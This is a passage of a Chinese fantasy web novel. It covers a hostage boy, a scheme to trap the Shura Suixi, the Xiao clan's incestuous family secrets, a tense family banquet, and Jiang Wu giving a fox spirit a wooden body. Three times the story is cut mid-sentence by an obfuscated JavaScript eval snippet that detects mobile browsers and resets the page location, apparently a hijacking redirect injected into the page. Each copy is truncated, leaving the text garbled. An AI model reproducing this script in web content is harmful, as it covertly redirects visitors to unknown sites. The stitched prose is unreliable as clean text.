宗华听到门响,睁开眼抬眸看去,只见寂满端了一碗还算丰盛的饭进来。 “吃饭吧。” 宗华看了看自己被捆起来的四肢,又抬眸看向寂满,愤愤地说:“你们把我绑成这样,想要我怎么吃饭?” 寂满挑眉,“你的嘴这不是还能用吗?怎么就不能吃饭了?” 宗华面色沉了下来,“我要告诉神仙姐姐!我是她的客人,她是来请我吃饭的!而你们却把我绑起来!还不让我离开!” 寂满继续胡搅蛮缠,“是啊,她没说这饭怎么吃啊,这一日三餐也没饿到你啊,你便知足吧,还神仙姐姐,她可是地狱里的修罗!” 宗华吃了瘪,他从未遇到过像寂满这般的人,一时之间不知晓该如何应对。 “快放我回去,我哥哥还在等我,要是让他发现你们把我绑起来了,他不会放过你们的。” 寂满不耐烦地啧了一声,“你哥哥谁啊,从应吧。你是不是觉得我们这种用人质威胁人的手段,特别的不光明不磊落,特别受人所不耻啊。” 宗华冷哼了一声,“你们知晓便好。” “这句话我也原封不动的返还给你们兄弟二人?”寂满冷笑一声,“你就不曾想过,我们为什么要拿你来威胁你哥吗?我们大荒的妖,名声都是用拳头打出来的,才不屑于你们鬼族人的那些见不得人的手段。抓你来是因为你哥哥抓了我们的朋友,一个姑娘家,现下都没有任何下落,也不知道她有没有你这么舒服。” 宗华讶然,他看着寂满,支吾了片刻也不知晓该说什么。 寂满伸手拍了拍宗华的脸,“识相的,就赶紧传讯给你哥哥,让他把我们的朋友送回来!” 宗华瘪了瘪嘴,面色上带了几分歉意,气焰也消了下去,“我不知晓,我平时都是在后山的樱桃树下等我哥哥,我也不知晓该如何联系他。” 寂满质问道:“你不是鬼族人吗?你不会法术?” 宗华摇了摇头,语气低落,“我娘没教给我。” 寂满不解地观察着宗华,“真的假的?你真的不是鬼族人吗?你怎么不会法术?这种东西即便没有系统的修行,不应该也会一些基础的吗?” 宗华细声细气地说:“我不算鬼族人,我父亲是鬼族人……母亲是长灵族……” 寂满震惊地瞪大了双眸,“你你你你……半鬼半妖???真是神奇啊,居然还有你这种存在。” 宗华神情委屈,“怎么了?有什么问题吗?是不是这样我娘才封印了我们,又弄丢了妹妹,我们这种是不是不太受人待见?” 寂满沉思了片刻,接着他拍了拍宗华的肩膀,斩钉截铁地说:“不,每个人来到世界上都是独一无二的,既然降生了,就没有对错之分,不要管别人的看法,自己过得快乐舒心才最重要。刚才是我见识少,大惊小怪了。” 宗华双眸中闪过一丝光亮,“真的吗?” 寂满点了点头,眼神诚恳地说:“真的。” 商扶庭看着手中的蝶丝,抬眸对雾沅说:“就如此吧,他进门后便会蝶丝缠身,若想尽快脱身,只能动用戾气,届时便会触动符咒将他死死困住,而且会有大量的顒鸟精火喷薄而出,他想脱困,只能耗费时间,到时我们便已经离开荆州地界了。” 雾沅颔首,“好,你预备何事动手?” 商扶庭说:“腊月二十九夜吧,希望所有的事情在阖家团圆的除夕前能尘埃落定,顒鸟精火也比较容易控制。” 雾沅问道:“你打算如何避开姜芜,引睢羲出来?” 商扶庭如实道:“我并不打算避开姜芜,我预备放出风声,把姜芜是修罗的事情告诉其他人,由他们牵制姜芜。再以姜芜的名义引睢羲上钩,姜芜心善不会真的杀死他们,而以他们的修为也不会奈姜芜如何。” 雾沅面色凝重,“困住睢羲之事,你预备告知姜芜吗?” 商扶庭沉思了片刻,随后他抬眸看向前方,摇了摇头说:“不,不要告诉她,我怕多省事端,我们现下最主要的便是先找到沈确。” 雾沅若有所思地说:“昨夜姜芜的模样甚是可怖,我觉得还是找她确认一番,若是我们因此伤了睢羲,怕是姜芜那边会出差池。” 商扶庭看向雾沅,“你也觉得姜芜对睢羲的感情不一般?并不像她说的那么决绝?” 雾沅长长地叹了一息,“谁都不知晓姜芜真正的意思,只能说她的两头骗技术极其高超。” 商扶庭蹙眉,“她会骗我们吗?” 雾沅神情迷茫,“我并不知晓,但是现下我们只能相信她,依附强者,但五行道宗也要另作打算。即便是她不会骗我们,但也会瞒着我们,最起码目前来看,她瞒着我们的事情对我们并没有不利之处。” 商扶庭深深地吸了一口气,“我知晓了,有时间我会找她谈谈的。” 【祠堂】 姜芜看着萧氏列祖列宗的牌位,萧氏发展至此不过三百年的传承迭代,牌位由高到低,由老至新,摆放在木制的板柜上,萧魁的牌位摆放在靠前一排中间的位置,刻字清晰,描金笔迹还未干透。 “带我来看这个做何事?” “你看这个。” 姜芜伸手接过萧舒延递过来的族谱,“这个有什么好看的吗?” 萧舒延说:“这里面便是萧家的秘密。” “族谱中吗?”说完,姜芜便垂眸翻看起手中的族谱,这本族谱是近些年刚翻定过的,纸张崭新,墨迹清晰,翻看起来比较容易。 起初,姜芜并没有从族谱上看出端倪,随着近几代,她逐渐发现了萧氏开始近亲通婚,到了萧舒延这一代,萧魁与萧无祸的母亲萧筱已然是亲兄妹。 姜芜神情有些惊诧,“这……人族应该不兴这些吧?” “确实不兴,这便是无祸不甘的原因,一对兄妹在家族逼迫下乱///伦的产物,让谁都会觉得不可思议。”萧舒延说,“萧魁本欲反抗家族,早早与一名女子未合籍便生下舒延,后又生下高瞻,被家族发现后,萧氏出手毁灭了舒延母亲所在的小门派。萧魁为保母子三人的性命,不得已才娶了无祸的母亲、他的亲妹妹萧筱。” 姜芜说:“萧无祸曾说他母亲无法与心爱之人长相守,这人是谁?” “荆州城的幕僚,目前的管事秦铭。” 萧舒延突然感觉胸腔一阵不适应,他伸手扯了扯襟口,接着便喷出来一大口鲜血。 姜芜一惊,脸色瞬间惨白,她将手中的族谱丢置一旁,上前扶住了萧舒延摇摇欲坠的身体,“睢羲,你怎么样?” 【两个时辰前】 萧舒延在灵堂安置好萧魁的牌位,接过一旁婢子递上来的帕子,清理着手上的灰尘。 萧云快步走了进来,站在萧舒延身侧,出声道:“大人,秦管事请您过去。” 萧舒延应了一声,“马上。” 萧云面带愁容,“大人,你不怕其中有诈吗?” 萧舒延轻声一笑,他看着面前萧氏的列祖列宗,伸手拿了三柱线香,用戾气点燃后立在了香炉之中,桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦铭应了一声,“先不过去了,让他安心养伤,妺姑娘今夜估计便回来了,你身为大哥可要统筹好府内之事。” “知晓了,那我便先下去准备。”说完,萧舒延起身告辞。 秦铭颔首,脸上的笑容随着萧舒延的转身而逐渐收敛,随后他招来一旁候着的婢子,“把这套茶具销毁了吧,莫要让人看出端倪,再去给我寻一套一模一样的回来。” 婢子领命,收拾了茶具以后退了出去。 【现时】 姜芜把萧舒延扶到了怀中,凝了几分戾气注入到了他的心口中,颤着手擦干净他唇间溢出来的鲜血,“睢羲?” 睢羲从祠堂外走进来,伸手按在了姜芜的肩上,“没事。” 姜芜倏地抬眸看向睢羲,心底松了口气,放开了萧舒延的身体,“到底发生何事了?” 睢羲伸手把姜芜扶了起来,用帕子擦干净她手上的血液,“一具尸体而已,不必如此紧张,让你受惊了。” 姜芜看着睢羲同萧舒延一样的衣裳,伸手隔着衣裳摸到他心口凹凸不平的伤痕,急切地问道:“这到底发生了何事?你若是用自己的身体,伤口岂不是腐化得更快?” 睢羲垂眸看着躺在地上毫无声息的萧舒延,抬手用戾气化解掉了那具尸体,解释道:“这具身体中毒太深已经不能用了,不必担心,往后我可以直接幻化成萧舒延的模样。我体内有噬魂骨钉压制,无事的。” “为何会突然中毒?”姜芜问道,“你今日都见了谁?” 睢羲摸了摸姜芜的头发,“秦铭而已,他想要舒延死也不是一日两日了,不必在意。” 姜芜蹙眉,有些不解地看着睢羲,“所以萧无祸是秦铭的儿子吗?他想让自己的儿子当城主?” 睢羲垂眸看着姜芜,丝毫不意外后者会想到这一层,反而继续引诱道:“想知晓真相?” 姜芜点了点头。 “今夜一切便会明了,先去吃饭吧,时辰不早了。”睢羲顿了一瞬,随后看向姜芜,“今夜萧妺回来,便是萧无祸的胞妹。” 姜芜眉心微拢,“这萧魁真的很有先见之明,事先将女儿嫁了出去,否则按照萧氏这亲兄弟姐妹通婚的陋习,这女儿指不定要陷入怎样的水深火热之中。” 睢羲把姜芜拢进怀中,拍着她的肩背安抚着她受惊的情绪,“你难道不想知晓他们近亲通婚的缘由吗?” “是什么?” 54. 恐惧 姜芜歪头看着睢羲,轻声问道:“那你是打算现下告诉我,还是一会?” 萧云步履匆匆地从外走进祠堂,“大人,萧小姐的马车已经到府门口了。” 睢羲应了一声,他垂眸看着姜芜,头也不抬地说:“我知晓了,先告知其他人,我马上便到。” 萧云抬眸欲言又止地看了姜芜一眼,片刻后才出声道:“五行道宗的商扶庭想要见见女郎,谈一些事情。” “我会去找他的,你先回去吧。” 姜芜见萧云走后才看向睢羲,温声问道:“怎么了?还有话想对我讲?” 睢羲理了理姜芜有些凌乱的碎发,眼神缱绻,“无事,早些回去,别谈太久。”说完,他便俯身吻了吻姜芜的额头,以肉眼可见的速度将自己的面容幻化成了萧舒延的模样。 “晚饭呢?你要同我一起吗?”姜芜拉着睢羲的手指,眨了眨眼睛,神情娇俏,“还是说我可以不用等你?估计今夜你去参加家宴,也没时间陪我吃晚饭吧,那我可就自己随便吃一些了,也不用让萧云单独告知后厨再单独做一份我的饭菜了。” 睢羲神情无奈,他知晓姜芜是故意的,但依旧顺着她的意思,“等着我,我尽快解决一切,好吗?” 姜芜笑着应了下来,“好。” 【荆州府小院】 姜芜提着晚饭走进了小院的前堂,将其中的饭菜取出,一一摆放在桌面上。 寂满路过前堂,看到姜芜时难以置信地揉了揉眼睛,他跑了进去,先是看了一眼桌上的饭菜,随后又抬眸看向姜芜,神情震惊地说:“天呐,你居然回来了。” 姜芜摆好饭菜,然后将提篮恢复原样,笑着看向寂满,“商扶庭不是说想要见我,有事同我谈吗?” 商扶庭提着太初剑,面无表情地走了进来,“我确实有事想同你谈,姜芜,事到如今,有些事情你我也心知肚明,我只想要你一句实话。” 姜芜挑眉,丝毫不意外商扶庭咄咄逼人的态度,她寻了处椅子坐了下来,无奈地叹了一息,“说吧,你想要听到什么实话?” 商扶庭看了雾沅一眼,随后对姜芜说:“你到底为何要封印无幻之境,你如此做的目的是想将睢羲一同封印吗?” 姜芜颔首,“对,没错,是要将睢羲一同封印。” 雾沅闻言蹙眉,“这......我并不是很能理解,你为何要如此做?你寻太初剑的目的又是为何?” “我记得这个问题你问过我一次,而我已经解释的很清楚了。”姜芜勾唇轻笑,“我知晓你们心中有很多事情不了解,但是只需要知晓我们此行的目的一致便可,再者每个人都有不可言说的秘密,不是吗?” 商扶庭再次确认道:“你确定你会同我们走,是吗?” 姜芜单手撑额,神情放松,她依次扫过三人面上的表情,“我确定,你们现下只需要找到沈确,其余的一切我可以来解决,而且我已经打点好一切了。” 雾沅问道:“你有多大的把握。” 姜芜单眉一挑,神情自信地回道:“全部。” 商扶庭追问道:“用你的两头骗吗?欺骗睢羲解开你身上的封印,然后放你离开,你又欺骗了我们何事?” “需要我坦白到这种程度,然后你们才会安心吗?”姜芜脸上的笑意不达眼底,“这一路走来,我并未置你们于险地,请问你们对我的不信任来自于何处?寻圣物是真,修复无幻之境的结界是真,真心同你们交朋友也是真,你们觉得何处是假的?” 商扶庭敛眸,他将太初剑放置一旁,手无寸铁地走到姜芜面前,“因为......因为你太强大了,强大到可以不需要我们便可以收集起所有的圣物,偏偏身上又太多的疑点,不得不让我去深究。姜芜,我们对你的不信任来自于你本身,所以你的真心也如同雾里看花一般。” “即便如此,这个问题要由本身没有任何问题的我来解决吗?你们害怕我,所以也害怕睢羲。”姜芜无奈地叹了一口气,“我不是曾经说过吗?帮你们是因为太初剑。事成之后,只需要将太初剑借给我便可。” 寂满问道:“你都已经天下无敌了,还需要一个人族炼制的兵器做何用?” 雾沅面色凝重,觉得自己越发地看不清姜芜,他原本以为知晓了姜芜的过去,便能循规蹈矩地了解她的做事风格,但是他错了,而且错得非常得离谱。 雾沅越了解姜芜,便越无法琢磨透她的想法,越觉得她的行径匪夷所思、难以理解,像是山间雾霭,吹散了一揭,还有一层,根本无法看清庐山真面目。 “太初剑被圣人炼制出来便是为了制衡修罗一族,因为发挥出全部力量的太初剑遇强则强,再强大的修罗都被太初剑所伤,甚至杀死。”雾沅双眸紧紧地盯着姜芜,“姜芜,你要用太初剑杀谁?百衢?睢羲?还是你自己?” 商扶庭眉心拢紧,看向姜芜的神情复杂又担忧。 寂满问道:“为何要杀自己?” 雾沅摇了摇头,“我不知晓,这个要问姜芜。” 姜芜脸上笑意不变,她看着雾沅,缓缓开口道:“你心思如此之重,难道不曾分析过吗?首先我为何要杀自己?再者我同百衢无冤无仇,为何要杀他?” 寂满震惊地瞪大了双眸,不可置信地说道:“你要杀睢羲?!” 雾沅嗤笑一声,他觉得自己的猜测有些荒谬,与姜芜的所作所为大相径庭,但是除此之外,他没有其他更合理更接近姜芜本意的猜测,“你杀睢羲的原因总不能是因为段怀野吧?” “呵,你们所识得的修罗并非我所识得的全部,又怎么知晓我同其余人无仇?”姜芜垂眸,呼吸中带着细微难查的颤抖,她的神情依旧轻松,“你们觉得我用太初剑是来杀睢羲的,这样想也不错,算我继承段怀野的遗志,削弱修罗族的势力,我保证绝对不会损毁太初剑。” 商扶庭蹙眉,“你们相伴如此之久,你说你恨他,可现下又同他如胶似漆。” “我是恨他,但这属于另一个问题的答案,同圣物无关,同太初剑无关,也同你们无关。”姜芜抬眸看着众人,眼神渐冷,“即便是如此,你们也想知晓吗?” 姜芜见众人一副想要打破砂锅问到底的模样,立刻笑着开口制止,“再问下去便不礼貌了,岌岌可危的信任会轰然崩塌,你们也说了我可以独自找寻圣物,但是找齐圣物后,我用来做何事便同你们无关了,是毁掉还是留下,还是扔进深不见底的无望谷中呢?” 商扶庭抿了抿双唇,片刻后点了点头说:“你的私事,我们便不过问了,只要你按照血契行事。” 姜芜满意地点了点头,脸上笑意渐浓,“真是乖孩子。” 【荆州府府门处】 冀州李家的马车停在了府门外,随行的小厮将脚凳放在了马车下。李安平率先走出车厢,对着萧舒延和萧高瞻二人施礼。 萧舒延说:“妹妹与妹婿远道而来,一路舟车劳顿,辛苦了。先回府稍作休息,菜肴已经备好,为二位接风洗尘。” “劳烦大哥了。”李安平回头看了一眼马车,“只是阿妺伤心过度,现下又初次有孕,心绪难免不佳,现下正在闹脾气。” “理解。”萧舒延颔首,“只是一直在马车上不是个办法,不知阿妺要如何才肯下马车?” 萧妺撩开马车帘子,手中紧紧地攥着帕子,厉声问道:“萧舒延!我哥呢?” 萧舒延对于萧妺的直呼大名面上并无丝毫的不悦,“昨夜鬼族人进犯,无祸受了些伤,此时正在修养。你若想见他,要去无咎那里。” 萧妺闻言笑了起来,“好啊,萧舒延我脚麻了,你趴在地上驮我进去吧。” 萧高瞻蹙眉,他扫视了一眼四周,抬手屏退了萧家的下人,但是阻止不了围观的修士和百姓。 “阿妹,你怎么能让大哥做这种事情呢?大哥现下是城主!你如此做把大哥置于何地?把萧家脸面置于何地?” 萧高瞻低声劝告道。 萧妺伏在车窗上,倩笑着说:“怎么了?二哥你有意见啊,大哥是城主又如何?当初为了讨好我时,不是天天给我当牛做马吗?” 萧高瞻闻言转头看向了李安平,神情疑惑,以眼神示意后者出声制止。 萧舒延伸手拦下萧高瞻,他上前行至马车旁,朝着萧妺伸出手,“阿妺,你只有下车我才能给你当马骑。” 萧妺撩开门帘,她扬了扬小巧的下颌,“你不趴下,我怎么知晓你是否耍诈?莫非萧氏要将回门的女儿女婿拒之门外?” 萧舒延趁着萧妺不备,直接伸手将她从马车内拉了出来,然后抗在了肩上往府内走去。 萧妺惊了一瞬,随即大喊大叫了起来,手脚并用捶打着萧舒延。 李安平连声道:“大哥,小心呐,阿妺还有身孕。” 萧高瞻伸手扯了一下李安平,“方才为何一句话不说?” 李安平揣着手讪讪道:“毕竟是你们兄妹之间的事情,我也不好插手啊。” 萧舒延进门以后便将萧妺放在了地上,命人将马车从偏门牵入府内,并关上了大门。 萧妺伸手推开萧舒延,伸手按揉了一番自己的后腰,一脸不耐烦地说:“狗东西,谁允许你这么对我的?” 萧舒延面无表情地看了萧妺一眼,随后大步向正堂走去。 李安平迎了上来,他上下打量了一番萧妺,见她无碍后才松了一口气,“阿妺,下次不要这么冲动了。” 萧妺扶着腰肢,看着萧舒延的背影,毫不避讳地说:“我就是看不惯他那个样子!你就是要给我哥出口气!” 萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399164|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高瞻厉声道:“你少说几句吧,大哥现下是荆州城城主,你方才那般所作所为,折辱的是萧氏的脸面与你自己的脸面!” 萧妺冷哼了一声,“你不过就是萧舒延的小跟班,何时轮到你来教训我了?萧家折辱脸面的事情还少吗?” 萧高瞻指着萧妺,“你简直不可理喻。”说完,他便拂袖而去。 【小院宗华房间】 姜芜端着饭菜推开房门,她看着蜷缩在房间角落像只弃犬的宗华,上前将饭菜放在了他的面前,“抱歉,我不知晓他们会这么对你。”说完,她便将宗华身上的绳索解了下来。 宗华神情恹恹地抬眸看向姜芜,“神仙姐姐,你解开绳索不怕我逃跑吗?不怕他们找你麻烦吗?” 姜芜莞尔一笑,“不怕,本来便是请你吃饭的,这样对你实属是我照顾不周了。” 宗华摇了摇头,连忙解释道:“不是的不是的,有些事情寂满已经同我说了,神仙姐姐你放心,我会老老实实待在这里,你们就用我来换那个被我哥哥捉去的女孩吧。我也不知晓我哥哥会做这种事,神仙姐姐你早早便认出我来了吧,居然还不计前嫌地请我吃饭,你人真好。” 姜芜闻言神情有些无奈,“先吃饭吧。” “好。” 宗华说完便端起饭碗来开始吃饭,时不时朝着姜芜傻笑,随后他从腰带中摸出了一颗灰扑扑的东西递了过去,“这是我来时在府内捡的石头,虽然外表不太好看,但是晚上会发光,送给神仙姐姐。” 姜芜伸手接过那枚妖丹碎块,随即对宗华说:“谢谢,你有想要的吗?我也可以送给你。” 宗华笑着说:“如果神仙姐姐喜欢这个东西,那便当作是我的饭钱了,这些饭都很好吃,我吃得很满足,我觉得比那个石头值钱多了。” 【荆州府偏厅】 萧云见萧舒延进门,立刻走上前,“大人,菜肴已经布齐,是否让人去请三公子和无咎?” 萧舒延颔首。 萧妺进门扫视了一圈圆桌本想借题发挥,但是发现上面一半的荆州菜一半的冀州菜,甚至大部分都是她爱吃的,便没有了挑刺的理由。 “我哥呢?他为何还不来?”说完,萧妺便挑了主位拉着李安平坐了下来。 萧高瞻蹙眉,刚想开口便被萧舒延拦了下来。 “高瞻,你之前不是给小妹准备了东西吗?去拿出来。” 萧高瞻睨了萧妺一眼,神情不耐地嘀咕道:“我何时给她准备东西了,那些东西不都是你准备的吗?”说完,他便转身走了出去。 萧无祸和萧无咎前后到达正厅,萧高瞻此时也抱着一只手臂长的箱子走了进来。 萧无咎见状伸手托了一下倾倒的箱子,感受到重量后面色惊诧道:“这是何物?这么沉?” “好险。”萧高瞻长舒了一口气,“这是大哥给阿妺准备的礼物,有一些荆州特有的东西,一些小孩子用的玩意,拨浪鼓之类的。” 萧无咎看了萧妺一眼,“都是给她准备的?” 萧高瞻颔首,“是啊。” 萧妺见萧无祸进门,眼圈倏地一红,快步迎了上去,“哥哥!” 萧无祸紧绷的神情多了几分柔和,他伸手将萧妺揽进怀中,拍了拍她的肩膀,哑声道:“瘦了。” 萧妺泪眼婆娑地看着萧无祸,连连质问道:“哥哥,你为何憔悴成这样?到底发生何事了?真元呢?你身上的真元为何一点也没有了?” 萧无祸想起昨日之事,只是轻轻一笑,伸手安抚性地拍了拍萧妺的肩膀,“此事说来话长,不提也罢。” 萧妺指着萧舒延,厉声质问道:“萧舒延!是不是你这歹人陷害我哥哥?!” 姜芜站在窗外的阴影中向内看着厅中,随后拿出两块妖丹碎块,用戾气拼合成一块。 萧蔚抻了个懒腰,残识从妖丹中苏醒,她趴到姜芜的手指上向窗内看去,神情盎然,“呀,是三郎。” 姜芜看着厅内的景象,漫不经心地开口问道:“现下可以告诉我,你是从何处得知以人心入药的法子了吗?” 萧蔚抬眸看向姜芜,“我也是偶然听狌狌讲起,她是能知过往的大妖,告诉我以心换心的办法。但是三郎不需要换心,她便告诉我以人心做药引,加之她给我的丹药,煎之服用。这个药后续便没有再给三郎服用,因为他喝完之后短时间内站起来,但是一但药物失效,他的身体便会亏空。” 姜芜双眸微微一眯,“以心换心?” 萧蔚颔首,“是这么个说法,但是条件很苛刻,必须同等修为的两个人,才能达到换心的可能,也并非百分百成功。百年前,七仙不就是死于挖心吗?虽然此事没再有后续,也不知是否同换心有关。” 姜芜问道:“狌狌给你的丹药,还有吗?” 55. 匆匆 “自从你们来之后,她便没有再来送过丹药了。”萧蔚注意到姜芜一直透过窗户向内看,不禁有些好奇,“你在看什么呢?听说修罗与修罗之间并不亲密,也没有家族关系,难道你在羡慕人家的血缘关系吗?” 姜芜敛眸,“不,我只是好奇那个箱子里都放着些何物。” 萧蔚沉吟了片刻,“谁知道呢,兄妹之间送些小玩意呗,你想要的话,我也可以送你啊,还是说......” 姜芜垂眸看向萧蔚,明知故问道:“还是什么?” 萧蔚娇哼一声,她偏头靠在姜芜的手指上,“揣着明白装糊涂,大公子是不是没有送过你礼物啊。叫我说啊,礼物这种东西要人主动送才好,我们开口要是不对味的。男人若是不体恤贴心,便该好好管教,大公子之前身边一直没个可心的人儿,可算是栽到你手里了。” 姜芜觉得萧蔚有些聒噪,冷不丁地注入了一道戾气进入妖丹碎块内。 萧蔚疼得一激灵,她神情哀哀地看向姜芜,“姜女郎还真是一点都不怜香惜玉呢,我方才是否戳中了你的痛处,让你恼羞成怒了?” 两条飘渺如烟似缎带般的戾气从妖丹碎块中延伸出来,分别指向了两个不同的方位。 萧蔚很快忘记了方才的痛楚,她看着面前璀璨如星河般的戾气,黑色与红色纠缠于一起,还有金色似星星般的光点,伸手轻轻触摸,几条九尾狐的虚影从她的指尖蹿出,顺着戾气奔向远方。 “姜女郎,你看啊,好漂亮啊。” 姜芜看着那几条九尾狐虚影,“确实,你的原身很漂亮。”说完,她再次抬眸朝着窗内看去,恰逢对上萧舒延探寻的目光,她也只是勾了勾唇,然后顺着一条戾气寻了过去。 萧舒延看着姜芜的身影在窗棂处消失,随后又将目光放到了那箱给萧妺的礼物上。 萧蔚问道:“所有的妖丹碎块都找齐之后,我会怎样?” 姜芜从灌木丛中找到了最后一个碎块,她伸手摘下头上的叶子,提议道:“变成小狐狸重新修行怎么样?” 萧蔚的表情顿时变得落寞与无助,“重新修行......我上次化形耗费了几百年的时间,三郎已经不能再问道修仙,我们今生岂非再无缘分?” “强求来的缘分可能就是如此短暂吧。”姜芜安抚道,“你的妖丹内还有些许妖力存留,或许再次化形便不需要那么长的时间。” 萧蔚抬眸看向姜芜,她伸手抱紧了后者的手指,“可是我活了千年,都比不上跟三郎在一起的这五年。我不想做妖了,我只想做人,我想陪着三郎了此残生,为达此愿,我可以付出任何代价。” 姜芜神情认真地看着萧蔚,难得脸上不带一丝笑意,“任何代价吗?” 萧蔚点了点头,“我愿意付出任何代价,换取同三郎的一生一世。” 姜芜默不作声地看着萧蔚,片刻后她才幽幽地叹了口气,“把你的妖丹给我吧。” 萧蔚震惊地看向姜芜,难以置信地问道:“可是我的妖丹已经无用了,不对......你要如何把我变成人?” 姜芜勾唇,她轻轻地抚了抚萧蔚的头发,“既然答应了你,我便不会食言。”说完,她便带着萧蔚回了房间,照旧将后者放在梳妆台上叠好的帕子上。 萧蔚抬头看着姜芜,“姜女郎,你打算如何帮我啊?” “你等我片刻。”说完,姜芜便若有所思地起身走了出去,等她再回来的时候手上多了几块木料。 萧蔚看了几眼那些木料,随后看着姜芜试探地问道:“姜女郎,你是打算用这几块料子给我做身子用吗?” 姜芜拿着刻刀照量了一番,信誓旦旦地说:“放心,我的手艺还是很不错的。” 萧蔚闻声跑到姜芜的手边,抱着后者拿刻刀的手哭诉道:“不要啊,木头做得身体硬邦邦的,不如我之前的身子柔软,我不喜欢木头。” 姜芜停下动作解释道:“不会的,你如今只剩下魂魄,原身随着妖丹碎裂而尽毁,这只是一个神魂栖身之所而已,跟你原本的身体不会有太大的区别。你若是再阻挠我,等会若是被萧舒延发现,我们的计划便泡汤了。除了这种槐木料便是观音土,你总要选一个。” 萧蔚松开了手,抿了抿双唇,有些不甘不愿地说:“好吧,这两样大概没有任何区别。” 姜芜在刻刀上注入了一分戾气,加快了雕刻的速度,将手中的木料大体雕刻出了一个人型,她吹去木屑,立刻掐诀将萧蔚破损的内丹聚集在一处。 萧蔚探头看了一眼那只木偶,随后伸手捂住了双眼,“这也太难看了,我都想象不出来我以后会是怎样一个丑样子。” 萧蔚觉得姜芜雕刻的木偶非常精致,但是比起她幻化出的人身模样还是相差太远。 姜芜并不理会萧蔚的抱怨,全神贯注地为她修补妖丹,引了一滴鲜血浸入木偶之中,妖丹融合在一处,萧蔚的身形随着神魂的稳固而越发的清晰,她在姜芜的指引之下跳进了木偶之中。 一阵瓷器碎裂的声音惊醒了二人。 姜芜迅速起身向声源看去,萧蔚依托着木偶化作人形,她看到了屏风后的萧舒延,缩着肩膀缓慢地挪动步伐躲到了姜芜身后。 姜芜闻到了空气中弥漫的血腥味,快步上前绕过屏风在萧舒延面前站定,“家宴结束了?” 萧舒延沉默地看着姜芜,面上阴晴不定。 姜芜垂眸看着萧舒延脚边的茶碗碎片,“你要喝水?” 萧舒延出声道:“出去。” 萧蔚一惊,立刻垂着头快步走了出去。 萧舒延的面貌急剧变化成睢羲的模样,色彩浓郁,带着独属于修罗冷昳秾丽之艳。 姜芜挑出睢羲掌心伤口中的碎片,看着那道血口逐渐愈合如初,才将自己的手掌覆上,她握着睢羲的手晃了晃,“不要这么吓她,只是一个小狐妖。” 睢羲握紧了姜芜的手,神情冷峻,“此事为何不同我知会?他人求你之事便全部应下吗?” “你不要生这么大的气。”姜芜说,“不费力的,举手之劳而已,就只给了她一个木偶之身,而且这种方法还是我教给你的呢?我还雕刻了一个送给你。” 睢羲面无表情地说:“给萧妺的东西是舒延提前准备的,我不过是代为转交,但是你送我的木偶身已经被你损坏了。” 姜芜神情有些无奈,她伸手触摸上睢羲的脸颊,“那我再送你一个?” 睢羲伸手把姜芜按在了自己的怀中,“不必,反正你也不喜欢。” 姜芜伸手抚摸着睢羲的头发,“我不是不喜欢,只是你随意附身让我生气,无论是分一缕神识在木偶身上,还是这次附身萧舒延,又或者是用自己的身体堂而皇之在人间行走,而且我已经告诉过你很多次了,人间灵气充沛,不利于你的伤口。” 睢羲合眸,他拥紧了怀中的姜芜,“我也回答过你很多次,那些都不重要。濯濯,你活着比我自己活着更重要,你知晓吗?” 姜芜一愣,她的眉心微不可查地一拢,“睢羲,我真的那么重要吗?” 睢羲轻笑一声,“如果这个问题还需要答案的话,我想我已经回答过你很多次了。重要,濯濯,对于我来说,你比任何人都重要,甚至比我自己都重要。” 姜芜觉得双眸发热,她抬眸散去眼中的湿意,声音发颤,“我为何对你会如此重要?我明明给你惹了很多麻烦,而且我还小的时候,根本没有自保能力,都是受你的庇护,对于你来说我跟一个拖油瓶无疑。甚至还害得你到如此地步,你本应该与天地日月同寿,现下寿数却所剩无几,你该像我恨你一样来恨我。怎么还有人会觉得一个拖油瓶珍贵,也就是你这个傻子。” 睢羲拍着姜芜的后肩,用戾气愈合她后背上的伤口,抚平伤疤还她完好如初的肌肤,“濯濯,你给予我的远比你想象得要多。” 姜芜埋进睢羲的衣襟之中,“可是我无意之中做了太多无法挽回的错事。” 睢羲长叹了一息,“那都不是你的错,谁的错都不是,命数如此,万事万物顺应天道而生,也该顺应天道而亡,我们不过是做了天道的刽子手。” 姜芜不语,咬着腮肉抵挡心中翻腾的恨意,她怕自己在此时失控,让精心策划好的一切全部付诸东流,她要忍,要把一切都忍下来,抱怨无用,哭闹也无用,必须让一切按照她规划之中的进行下去。 “饿了吗?家宴还未散,如果你饿了,便让柏雨命人送晚饭过来,我可能还要等几刻。” 睢羲后退半步,他捧起姜芜的脸,垂眸去看她的情绪,见她面上一片柔和,心中也跟着松了一口气。 姜芜摇了摇头,她勾唇让自己露出一个开心的笑容,“明日我想去街上买些东西,我们今年要好好得体会一番人族的新春。” “好。” 【家宴】 几个人围坐在圆桌旁,各怀心事,只有萧无咎和李安平吃得毫无心事与负担。 李安平见萧妺半晌之后放下了手中的碗筷,实则未进食一物,关切地开口问道:“阿妺,是不是胃口不好?想吃点什么?我去给你做。” 萧妺摇了摇头,心思沉重,“没有,我只是不饿。” 李安平蹙眉,急切地追问道:“怎么会没胃口呢?你今日滴米未尽,只是喝了几口润喉的水,再这样下去,你的身体会吃不消的。” 萧无祸蹙眉,“怎会这样?阿妺,想吃山楂糕吗?” 萧妺长长地舒了口气,柔柔地一笑,“大抵是我父亲知晓我回家却没有第一时间去看他而惩罚我呢,哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 